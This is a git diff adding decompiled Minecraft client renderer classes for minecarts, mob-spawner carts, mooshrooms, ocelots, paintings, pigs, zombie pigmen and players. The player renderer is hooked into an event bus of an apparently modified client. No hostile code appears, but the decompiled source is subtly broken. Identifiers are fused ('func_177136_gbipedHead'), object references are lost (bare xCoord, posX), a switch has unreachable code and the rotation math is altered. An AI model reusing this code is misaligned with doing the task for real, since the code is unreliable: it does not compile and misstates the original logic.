+  
+  public RenderMinecart(RenderManager p_i46155_1_)
+  {
+    super(p_i46155_1_);
+    shadowSize = 0.5F;
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityMinecart p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    GlStateManager.pushMatrix();
+    bindEntityTexture(p_76986_1_);
+    long var10 = p_76986_1_.getEntityId() * 493286711L;
+    var10 = var10 * var10 * 4392167121L + var10 * 98761L;
+    float var12 = (((float)(var10 >> 16 & 0x7) + 0.5F) / 8.0F - 0.5F) * 0.004F;
+    float var13 = (((float)(var10 >> 20 & 0x7) + 0.5F) / 8.0F - 0.5F) * 0.004F;
+    float var14 = (((float)(var10 >> 24 & 0x7) + 0.5F) / 8.0F - 0.5F) * 0.004F;
+    GlStateManager.translate(var12, var13, var14);
+    double var15 = lastTickPosX + (posX - lastTickPosX) * p_76986_9_;
+    double var17 = lastTickPosY + (posY - lastTickPosY) * p_76986_9_;
+    double var19 = lastTickPosZ + (posZ - lastTickPosZ) * p_76986_9_;
+    double var21 = 0.30000001192092896D;
+    Vec3 var23 = p_76986_1_.func_70489_a(var15, var17, var19);
+    float var24 = prevRotationPitch + (rotationPitch - prevRotationPitch) * p_76986_9_;
+    
+    if (var23 != null)
+    {
+      Vec3 var25 = p_76986_1_.func_70495_a(var15, var17, var19, var21);
+      Vec3 var26 = p_76986_1_.func_70495_a(var15, var17, var19, -var21);
+      
+      if (var25 == null)
+      {
+        var25 = var23;
+      }
+      
+      if (var26 == null)
+      {
+        var26 = var23;
+      }
+      
+      p_76986_2_ += xCoord - var15;
+      p_76986_4_ += (yCoord + yCoord) / 2.0D - var17;
+      p_76986_6_ += zCoord - var19;
+      Vec3 var27 = var26.addVector(-xCoord, -yCoord, -zCoord);
+      
+      if (var27.lengthVector() != 0.0D)
+      {
+        var27 = var27.normalize();
+        p_76986_8_ = (float)(Math.atan2(zCoord, xCoord) * 180.0D / 3.141592653589793D);
+        var24 = (float)(Math.atan(yCoord) * 73.0D);
+      }
+    }
+    
+    GlStateManager.translate((float)p_76986_2_, (float)p_76986_4_ + 0.375F, (float)p_76986_6_);
+    GlStateManager.rotate(180.0F - p_76986_8_, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(-var24, 0.0F, 0.0F, 1.0F);
+    float var30 = p_76986_1_.getRollingAmplitude() - p_76986_9_;
+    float var31 = p_76986_1_.getDamage() - p_76986_9_;
+    
+    if (var31 < 0.0F)
+    {
+      var31 = 0.0F;
+    }
+    
+    if (var30 > 0.0F)
+    {
+      GlStateManager.rotate(MathHelper.sin(var30) * var30 * var31 / 10.0F * p_76986_1_.getRollingDirection(), 1.0F, 0.0F, 0.0F);
+    }
+    
+    int var32 = p_76986_1_.getDisplayTileOffset();
+    IBlockState var28 = p_76986_1_.func_174897_t();
+    
+    if (var28.getBlock().getRenderType() != -1)
+    {
+      GlStateManager.pushMatrix();
+      bindTexture(net.minecraft.client.renderer.texture.TextureMap.locationBlocksTexture);
+      float var29 = 0.75F;
+      GlStateManager.scale(var29, var29, var29);
+      GlStateManager.translate(-0.5F, (var32 - 8) / 16.0F, 0.5F);
+      func_180560_a(p_76986_1_, p_76986_9_, var28);
+      GlStateManager.popMatrix();
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      bindEntityTexture(p_76986_1_);
+    }
+    
+    GlStateManager.scale(-1.0F, -1.0F, 1.0F);
+    modelMinecart.render(p_76986_1_, 0.0F, 0.0F, -0.1F, 0.0F, 0.0F, 0.0625F);
+    GlStateManager.popMatrix();
+    super.doRender(p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntityMinecart p_110775_1_)
+  {
+    return minecartTextures;
+  }
+  
+  protected void func_180560_a(EntityMinecart p_180560_1_, float p_180560_2_, IBlockState p_180560_3_)
+  {
+    GlStateManager.pushMatrix();
+    Minecraft.getMinecraft().getBlockRendererDispatcher().func_175016_a(p_180560_3_, p_180560_1_.getBrightness(p_180560_2_));
+    GlStateManager.popMatrix();
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntityMinecart)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityMinecart)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderMinecartMobSpawner.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderMinecartMobSpawner.java
new file mode 100644
index 0000000..ae6b891
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderMinecartMobSpawner.java
@@ -0,0 +1,32 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.renderer.tileentity.TileEntityMobSpawnerRenderer;
+import net.minecraft.entity.ai.EntityMinecartMobSpawner;
+import net.minecraft.entity.item.EntityMinecart;
+import net.minecraft.init.Blocks;
+
+public class RenderMinecartMobSpawner extends RenderMinecart
+{
+  private static final String __OBFID = "CL_00001014";
+  
+  public RenderMinecartMobSpawner(RenderManager p_i46154_1_)
+  {
+    super(p_i46154_1_);
+  }
+  
+  protected void func_177081_a(EntityMinecartMobSpawner p_177081_1_, float p_177081_2_, IBlockState p_177081_3_)
+  {
+    super.func_180560_a(p_177081_1_, p_177081_2_, p_177081_3_);
+    
+    if (p_177081_3_.getBlock() == Blocks.mob_spawner)
+    {
+      TileEntityMobSpawnerRenderer.func_147517_a(p_177081_1_.func_98039_d(), posX, posY, posZ, p_177081_2_);
+    }
+  }
+  
+  protected void func_180560_a(EntityMinecart p_180560_1_, float p_180560_2_, IBlockState p_180560_3_)
+  {
+    func_177081_a((EntityMinecartMobSpawner)p_180560_1_, p_180560_2_, p_180560_3_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderMooshroom.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderMooshroom.java
new file mode 100644
index 0000000..bea0491
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderMooshroom.java
@@ -0,0 +1,32 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.renderer.entity.layers.LayerMooshroomMushroom;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.passive.EntityMooshroom;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderMooshroom extends RenderLiving
+{
+  private static final ResourceLocation mooshroomTextures = new ResourceLocation("textures/entity/cow/mooshroom.png");
+  private static final String __OBFID = "CL_00001016";
+  
+  public RenderMooshroom(RenderManager p_i46152_1_, ModelBase p_i46152_2_, float p_i46152_3_)
+  {
+    super(p_i46152_1_, p_i46152_2_, p_i46152_3_);
+    addLayer(new LayerMooshroomMushroom(this));
+  }
+  
+  protected ResourceLocation func_180582_a(EntityMooshroom p_180582_1_)
+  {
+    return mooshroomTextures;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180582_a((EntityMooshroom)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderOcelot.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderOcelot.java
new file mode 100644
index 0000000..391f06f
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderOcelot.java
@@ -0,0 +1,75 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntityOcelot;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderOcelot extends RenderLiving
+{
+  private static final ResourceLocation blackOcelotTextures = new ResourceLocation("textures/entity/cat/black.png");
+  private static final ResourceLocation ocelotTextures = new ResourceLocation("textures/entity/cat/ocelot.png");
+  private static final ResourceLocation redOcelotTextures = new ResourceLocation("textures/entity/cat/red.png");
+  private static final ResourceLocation siameseOcelotTextures = new ResourceLocation("textures/entity/cat/siamese.png");
+  private static final String __OBFID = "CL_00001017";
+  
+  public RenderOcelot(RenderManager p_i46151_1_, ModelBase p_i46151_2_, float p_i46151_3_)
+  {
+    super(p_i46151_1_, p_i46151_2_, p_i46151_3_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntityOcelot p_110775_1_)
+  {
+    switch (p_110775_1_.getTameSkin())
+    {
+    case 0: 
+    default: 
+      return ocelotTextures;
+    
+    case 1: 
+      return blackOcelotTextures;
+    
+    case 2: 
+      return redOcelotTextures;
+    }
+    
+    return siameseOcelotTextures;
+  }
+  
+
+
+
+
+
+  protected void preRenderCallback(EntityOcelot p_77041_1_, float p_77041_2_)
+  {
+    super.preRenderCallback(p_77041_1_, p_77041_2_);
+    
+    if (p_77041_1_.isTamed())
+    {
+      GlStateManager.scale(0.8F, 0.8F, 0.8F);
+    }
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntityLivingBase p_77041_1_, float p_77041_2_)
+  {
+    preRenderCallback((EntityOcelot)p_77041_1_, p_77041_2_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntityOcelot)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderPainting.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderPainting.java
new file mode 100644
index 0000000..adc631c
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderPainting.java
@@ -0,0 +1,172 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.item.EntityPainting;
+import net.minecraft.entity.item.EntityPainting.EnumArt;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderPainting extends Render
+{
+  private static final ResourceLocation field_110807_a = new ResourceLocation("textures/painting/paintings_kristoffer_zetterstrand.png");
+  private static final String __OBFID = "CL_00001018";
+  
+  public RenderPainting(RenderManager p_i46150_1_)
+  {
+    super(p_i46150_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityPainting p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    GlStateManager.pushMatrix();
+    GlStateManager.translate(p_76986_2_, p_76986_4_, p_76986_6_);
+    GlStateManager.rotate(180.0F - p_76986_8_, 0.0F, 1.0F, 0.0F);
+    GlStateManager.enableRescaleNormal();
+    bindEntityTexture(p_76986_1_);
+    EntityPainting.EnumArt var10 = art;
+    float var11 = 0.0625F;
+    GlStateManager.scale(var11, var11, var11);
+    func_77010_a(p_76986_1_, sizeX, sizeY, offsetX, offsetY);
+    GlStateManager.disableRescaleNormal();
+    GlStateManager.popMatrix();
+    super.doRender(p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+  protected ResourceLocation func_180562_a(EntityPainting p_180562_1_)
+  {
+    return field_110807_a;
+  }
+  
+  private void func_77010_a(EntityPainting p_77010_1_, int p_77010_2_, int p_77010_3_, int p_77010_4_, int p_77010_5_)
+  {
+    float var6 = -p_77010_2_ / 2.0F;
+    float var7 = -p_77010_3_ / 2.0F;
+    float var8 = 0.5F;
+    float var9 = 0.75F;
+    float var10 = 0.8125F;
+    float var11 = 0.0F;
+    float var12 = 0.0625F;
+    float var13 = 0.75F;
+    float var14 = 0.8125F;
+    float var15 = 0.001953125F;
+    float var16 = 0.001953125F;
+    float var17 = 0.7519531F;
+    float var18 = 0.7519531F;
+    float var19 = 0.0F;
+    float var20 = 0.0625F;
+    
+    for (int var21 = 0; var21 < p_77010_2_ / 16; var21++)
+    {
+      for (int var22 = 0; var22 < p_77010_3_ / 16; var22++)
+      {
+        float var23 = var6 + (var21 + 1) * 16;
+        float var24 = var6 + var21 * 16;
+        float var25 = var7 + (var22 + 1) * 16;
+        float var26 = var7 + var22 * 16;
+        func_77008_a(p_77010_1_, (var23 + var24) / 2.0F, (var25 + var26) / 2.0F);
+        float var27 = (p_77010_4_ + p_77010_2_ - var21 * 16) / 256.0F;
+        float var28 = (p_77010_4_ + p_77010_2_ - (var21 + 1) * 16) / 256.0F;
+        float var29 = (p_77010_5_ + p_77010_3_ - var22 * 16) / 256.0F;
+        float var30 = (p_77010_5_ + p_77010_3_ - (var22 + 1) * 16) / 256.0F;
+        Tessellator var31 = Tessellator.getInstance();
+        WorldRenderer var32 = var31.getWorldRenderer();
+        var32.startDrawingQuads();
+        var32.func_178980_d(0.0F, 0.0F, -1.0F);
+        var32.addVertexWithUV(var23, var26, -var8, var28, var29);
+        var32.addVertexWithUV(var24, var26, -var8, var27, var29);
+        var32.addVertexWithUV(var24, var25, -var8, var27, var30);
+        var32.addVertexWithUV(var23, var25, -var8, var28, var30);
+        var32.func_178980_d(0.0F, 0.0F, 1.0F);
+        var32.addVertexWithUV(var23, var25, var8, var9, var11);
+        var32.addVertexWithUV(var24, var25, var8, var10, var11);
+        var32.addVertexWithUV(var24, var26, var8, var10, var12);
+        var32.addVertexWithUV(var23, var26, var8, var9, var12);
+        var32.func_178980_d(0.0F, 1.0F, 0.0F);
+        var32.addVertexWithUV(var23, var25, -var8, var13, var15);
+        var32.addVertexWithUV(var24, var25, -var8, var14, var15);
+        var32.addVertexWithUV(var24, var25, var8, var14, var16);
+        var32.addVertexWithUV(var23, var25, var8, var13, var16);
+        var32.func_178980_d(0.0F, -1.0F, 0.0F);
+        var32.addVertexWithUV(var23, var26, var8, var13, var15);
+        var32.addVertexWithUV(var24, var26, var8, var14, var15);
+        var32.addVertexWithUV(var24, var26, -var8, var14, var16);
+        var32.addVertexWithUV(var23, var26, -var8, var13, var16);
+        var32.func_178980_d(-1.0F, 0.0F, 0.0F);
+        var32.addVertexWithUV(var23, var25, var8, var18, var19);
+        var32.addVertexWithUV(var23, var26, var8, var18, var20);
+        var32.addVertexWithUV(var23, var26, -var8, var17, var20);
+        var32.addVertexWithUV(var23, var25, -var8, var17, var19);
+        var32.func_178980_d(1.0F, 0.0F, 0.0F);
+        var32.addVertexWithUV(var24, var25, -var8, var18, var19);
+        var32.addVertexWithUV(var24, var26, -var8, var18, var20);
+        var32.addVertexWithUV(var24, var26, var8, var17, var20);
+        var32.addVertexWithUV(var24, var25, var8, var17, var19);
+        var31.draw();
+      }
+    }
+  }
+  
+  private void func_77008_a(EntityPainting p_77008_1_, float p_77008_2_, float p_77008_3_)
+  {
+    int var4 = MathHelper.floor_double(posX);
+    int var5 = MathHelper.floor_double(posY + p_77008_3_ / 16.0F);
+    int var6 = MathHelper.floor_double(posZ);
+    EnumFacing var7 = field_174860_b;
+    
+    if (var7 == EnumFacing.NORTH)
+    {
+      var4 = MathHelper.floor_double(posX + p_77008_2_ / 16.0F);
+    }
+    
+    if (var7 == EnumFacing.WEST)
+    {
+      var6 = MathHelper.floor_double(posZ - p_77008_2_ / 16.0F);
+    }
+    
+    if (var7 == EnumFacing.SOUTH)
+    {
+      var4 = MathHelper.floor_double(posX - p_77008_2_ / 16.0F);
+    }
+    
+    if (var7 == EnumFacing.EAST)
+    {
+      var6 = MathHelper.floor_double(posZ + p_77008_2_ / 16.0F);
+    }
+    
+    int var8 = renderManager.worldObj.getCombinedLight(new net.minecraft.util.BlockPos(var4, var5, var6), 0);
+    int var9 = var8 % 65536;
+    int var10 = var8 / 65536;
+    OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, var9, var10);
+    GlStateManager.color(1.0F, 1.0F, 1.0F);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180562_a((EntityPainting)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityPainting)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderPig.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderPig.java
new file mode 100644
index 0000000..2885156
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderPig.java
@@ -0,0 +1,32 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.renderer.entity.layers.LayerSaddle;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.passive.EntityPig;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderPig extends RenderLiving
+{
+  private static final ResourceLocation pigTextures = new ResourceLocation("textures/entity/pig/pig.png");
+  private static final String __OBFID = "CL_00001019";
+  
+  public RenderPig(RenderManager p_i46149_1_, ModelBase p_i46149_2_, float p_i46149_3_)
+  {
+    super(p_i46149_1_, p_i46149_2_, p_i46149_3_);
+    addLayer(new LayerSaddle(this));
+  }
+  
+  protected ResourceLocation func_180583_a(EntityPig p_180583_1_)
+  {
+    return pigTextures;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180583_a((EntityPig)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderPigZombie.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderPigZombie.java
new file mode 100644
index 0000000..eb977f0
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderPigZombie.java
@@ -0,0 +1,51 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelZombie;
+import net.minecraft.client.renderer.entity.layers.LayerBipedArmor;
+import net.minecraft.client.renderer.entity.layers.LayerHeldItem;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.monster.EntityPigZombie;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderPigZombie extends RenderBiped
+{
+  private static final ResourceLocation field_177120_j = new ResourceLocation("textures/entity/zombie_pigman.png");
+  private static final String __OBFID = "CL_00002434";
+  
+  public RenderPigZombie(RenderManager p_i46148_1_)
+  {
+    super(p_i46148_1_, new ModelZombie(), 0.5F, 1.0F);
+    addLayer(new LayerHeldItem(this));
+    addLayer(new LayerBipedArmor(this)
+    {
+      private static final String __OBFID = "CL_00002433";
+      
+      protected void func_177177_a() {
+        field_177189_c = new ModelZombie(0.5F, true);
+        field_177186_d = new ModelZombie(1.0F, true);
+      }
+    });
+  }
+  
+  protected ResourceLocation func_177119_a(EntityPigZombie p_177119_1_)
+  {
+    return field_177120_j;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntityLiving p_110775_1_)
+  {
+    return func_177119_a((EntityPigZombie)p_110775_1_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_177119_a((EntityPigZombie)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderPlayer.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderPlayer.java
new file mode 100644
index 0000000..6c8fc05
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderPlayer.java
@@ -0,0 +1,276 @@
+package net.minecraft.client.renderer.entity;
+
+import com.enjoytheban.api.EventBus;
+import com.enjoytheban.api.events.rendering.EventPostRenderPlayer;
+import com.enjoytheban.api.events.rendering.EventPreRenderPlayer;
+import net.minecraft.client.entity.AbstractClientPlayer;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.gui.FontRenderer;
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.model.ModelPlayer;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.layers.LayerArrow;
+import net.minecraft.client.renderer.entity.layers.LayerBipedArmor;
+import net.minecraft.client.renderer.entity.layers.LayerCustomHead;
+import net.minecraft.client.renderer.entity.layers.LayerDeadmau5Head;
+import net.minecraft.client.renderer.entity.layers.LayerHeldItem;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EnumPlayerModelParts;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.item.EnumAction;
+import net.minecraft.item.ItemStack;
+import net.minecraft.scoreboard.Score;
+import net.minecraft.scoreboard.ScoreObjective;
+import net.minecraft.scoreboard.Scoreboard;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderPlayer extends RendererLivingEntity
+{
+  private boolean field_177140_a;
+  private static final String __OBFID = "CL_00001020";
+  
+  public RenderPlayer(RenderManager p_i46102_1_)
+  {
+    this(p_i46102_1_, false);
+  }
+  
+  public RenderPlayer(RenderManager p_i46103_1_, boolean p_i46103_2_)
+  {
+    super(p_i46103_1_, new ModelPlayer(0.0F, p_i46103_2_), 0.5F);
+    field_177140_a = p_i46103_2_;
+    addLayer(new LayerBipedArmor(this));
+    addLayer(new LayerHeldItem(this));
+    addLayer(new LayerArrow(this));
+    addLayer(new LayerDeadmau5Head(this));
+    addLayer(new net.minecraft.client.renderer.entity.layers.LayerCape(this));
+    addLayer(new LayerCustomHead(func_177136_gbipedHead));
+  }
+  
+  public ModelPlayer func_177136_g()
+  {
+    return (ModelPlayer)super.getMainModel();
+  }
+  
+  public void func_180596_a(AbstractClientPlayer p_180596_1_, double p_180596_2_, double p_180596_4_, double p_180596_6_, float p_180596_8_, float p_180596_9_)
+  {
+    if ((!p_180596_1_.func_175144_cb()) || (renderManager.livingPlayer == p_180596_1_))
+    {
+      double var10 = p_180596_4_;
+      
+      if ((p_180596_1_.isSneaking()) && (!(p_180596_1_ instanceof EntityPlayerSP)))
+      {
+        var10 = p_180596_4_ - 0.125D;
+      }
+      
+      func_177137_d(p_180596_1_);
+      super.doRender(p_180596_1_, p_180596_2_, var10, p_180596_6_, p_180596_8_, p_180596_9_);
+    }
+  }
+  
+  private void func_177137_d(AbstractClientPlayer p_177137_1_)
+  {
+    ModelPlayer var2 = func_177136_g();
+    
+    if (p_177137_1_.func_175149_v())
+    {
+      var2.func_178719_a(false);
+      bipedHead.showModel = true;
+      bipedHeadwear.showModel = true;
+    }
+    else
+    {
+      ItemStack var3 = inventory.getCurrentItem();
+      var2.func_178719_a(true);
+      bipedHeadwear.showModel = p_177137_1_.func_175148_a(EnumPlayerModelParts.HAT);
+      field_178730_v.showModel = p_177137_1_.func_175148_a(EnumPlayerModelParts.JACKET);
+      field_178733_c.showModel = p_177137_1_.func_175148_a(EnumPlayerModelParts.LEFT_PANTS_LEG);
+      field_178731_d.showModel = p_177137_1_.func_175148_a(EnumPlayerModelParts.RIGHT_PANTS_LEG);
+      field_178734_a.showModel = p_177137_1_.func_175148_a(EnumPlayerModelParts.LEFT_SLEEVE);
+      field_178732_b.showModel = p_177137_1_.func_175148_a(EnumPlayerModelParts.RIGHT_SLEEVE);
+      heldItemLeft = 0;
+      aimedBow = false;
+      isSneak = p_177137_1_.isSneaking();
+      
+      if (var3 == null)
+      {
+        heldItemRight = 0;
+      }
+      else
+      {
+        heldItemRight = 1;
+        
+        if (p_177137_1_.getItemInUseCount() > 0)
+        {
+          EnumAction var4 = var3.getItemUseAction();
+          
+          if (var4 == EnumAction.BLOCK)
+          {
+            heldItemRight = 3;
+          }
+          else if (var4 == EnumAction.BOW)
+          {
+            aimedBow = true;
+          }
+        }
+      }
+    }
+  }
+  
+  protected ResourceLocation func_180594_a(AbstractClientPlayer p_180594_1_)
+  {
+    return p_180594_1_.getLocationSkin();
+  }
+  
+  public void func_82422_c()
+  {
+    GlStateManager.translate(0.0F, 0.1875F, 0.0F);
+  }
+  
+
+
+
+
+  protected void preRenderCallback(AbstractClientPlayer p_77041_1_, float p_77041_2_)
+  {
+    float var3 = 0.9375F;
+    GlStateManager.scale(var3, var3, var3);
+  }
+  
+  protected void renderOffsetLivingLabel(AbstractClientPlayer p_96449_1_, double p_96449_2_, double p_96449_4_, double p_96449_6_, String p_96449_8_, float p_96449_9_, double p_96449_10_)
+  {
+    if (p_96449_10_ < 100.0D)
+    {
+      Scoreboard var12 = p_96449_1_.getWorldScoreboard();
+      ScoreObjective var13 = var12.getObjectiveInDisplaySlot(2);
+      
+      if (var13 != null)
+      {
+        Score var14 = var12.getValueFromObjective(p_96449_1_.getName(), var13);
+        renderLivingLabel(p_96449_1_, var14.getScorePoints() + " " + var13.getDisplayName(), p_96449_2_, p_96449_4_, p_96449_6_, 64);
+        p_96449_4_ += getFontRendererFromRenderManagerFONT_HEIGHT * 1.15F * p_96449_9_;
+      }
+    }
+    
+    super.func_177069_a(p_96449_1_, p_96449_2_, p_96449_4_, p_96449_6_, p_96449_8_, p_96449_9_, p_96449_10_);
+  }
+  
+  public void func_177138_b(AbstractClientPlayer p_177138_1_)
+  {
+    float var2 = 1.0F;
+    GlStateManager.color(var2, var2, var2);
+    ModelPlayer var3 = func_177136_g();
+    func_177137_d(p_177138_1_);
+    swingProgress = 0.0F;
+    isSneak = false;
+    var3.setRotationAngles(0.0F, 0.0F, 0.0F, 0.0F, 0.0F, 0.0625F, p_177138_1_);
+    var3.func_178725_a();
+  }
+  
+  public void func_177139_c(AbstractClientPlayer p_177139_1_)
+  {
+    float var2 = 1.0F;
+    GlStateManager.color(var2, var2, var2);
+    ModelPlayer var3 = func_177136_g();
+    func_177137_d(p_177139_1_);
+    isSneak = false;
+    swingProgress = 0.0F;
+    var3.setRotationAngles(0.0F, 0.0F, 0.0F, 0.0F, 0.0F, 0.0625F, p_177139_1_);
+    var3.func_178726_b();
+  }
+  
+
+
+
+  protected void renderLivingAt(AbstractClientPlayer p_77039_1_, double p_77039_2_, double p_77039_4_, double p_77039_6_)
+  {
+    if ((p_77039_1_.isEntityAlive()) && (p_77039_1_.isPlayerSleeping()))
+    {
+      super.renderLivingAt(p_77039_1_, p_77039_2_ + field_71079_bU, p_77039_4_ + field_71082_cx, p_77039_6_ + field_71089_bV);
+    }
+    else
+    {
+      super.renderLivingAt(p_77039_1_, p_77039_2_, p_77039_4_, p_77039_6_);
+    }
+  }
+  
+  protected void func_180595_a(AbstractClientPlayer p_180595_1_, float p_180595_2_, float p_180595_3_, float p_180595_4_)
+  {
+    if ((p_180595_1_.isEntityAlive()) && (p_180595_1_.isPlayerSleeping()))
+    {
+      GlStateManager.rotate(p_180595_1_.getBedOrientationInDegrees(), 0.0F, 1.0F, 0.0F);
+      GlStateManager.rotate(getDeathMaxRotation(p_180595_1_), 0.0F, 0.0F, 1.0F);
+      GlStateManager.rotate(270.0F, 0.0F, 1.0F, 0.0F);
+    }
+    else
+    {
+      super.rotateCorpse(p_180595_1_, p_180595_2_, p_180595_3_, p_180595_4_);
+    }
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntityLivingBase p_77041_1_, float p_77041_2_)
+  {
+    preRenderCallback((AbstractClientPlayer)p_77041_1_, p_77041_2_);
+  }
+  
+  protected void rotateCorpse(EntityLivingBase p_77043_1_, float p_77043_2_, float p_77043_3_, float p_77043_4_)
+  {
+    func_180595_a((AbstractClientPlayer)p_77043_1_, p_77043_2_, p_77043_3_, p_77043_4_);
+  }
+  
+
+
+
+  protected void renderLivingAt(EntityLivingBase p_77039_1_, double p_77039_2_, double p_77039_4_, double p_77039_6_)
+  {
+    renderLivingAt((AbstractClientPlayer)p_77039_1_, p_77039_2_, p_77039_4_, p_77039_6_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityLivingBase p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_180596_a((AbstractClientPlayer)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+  
+  public ModelBase getMainModel()
+  {
+    return func_177136_g();
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180594_a((AbstractClientPlayer)p_110775_1_);
+  }
+  
+  protected void func_177069_a(Entity p_177069_1_, double p_177069_2_, double p_177069_4_, double p_177069_6_, String p_177069_8_, float p_177069_9_, double p_177069_10_)
+  {
+    renderOffsetLivingLabel((AbstractClientPlayer)p_177069_1_, p_177069_2_, p_177069_4_, p_177069_6_, p_177069_8_, p_177069_9_, p_177069_10_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    EventPreRenderPlayer event = new EventPreRenderPlayer();
+    EventBus.getInstance().call(event);
+    func_180596_a((AbstractClientPlayer)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+    EventPostRenderPlayer event2 = new EventPostRenderPlayer();
+    EventBus.getInstance().call(event2);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderPotion.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderPotion.java
new file mode 100644
index 0000000..a148dd4
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderPotion.java
@@ -0,0 +1,26 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.entity.Entity;
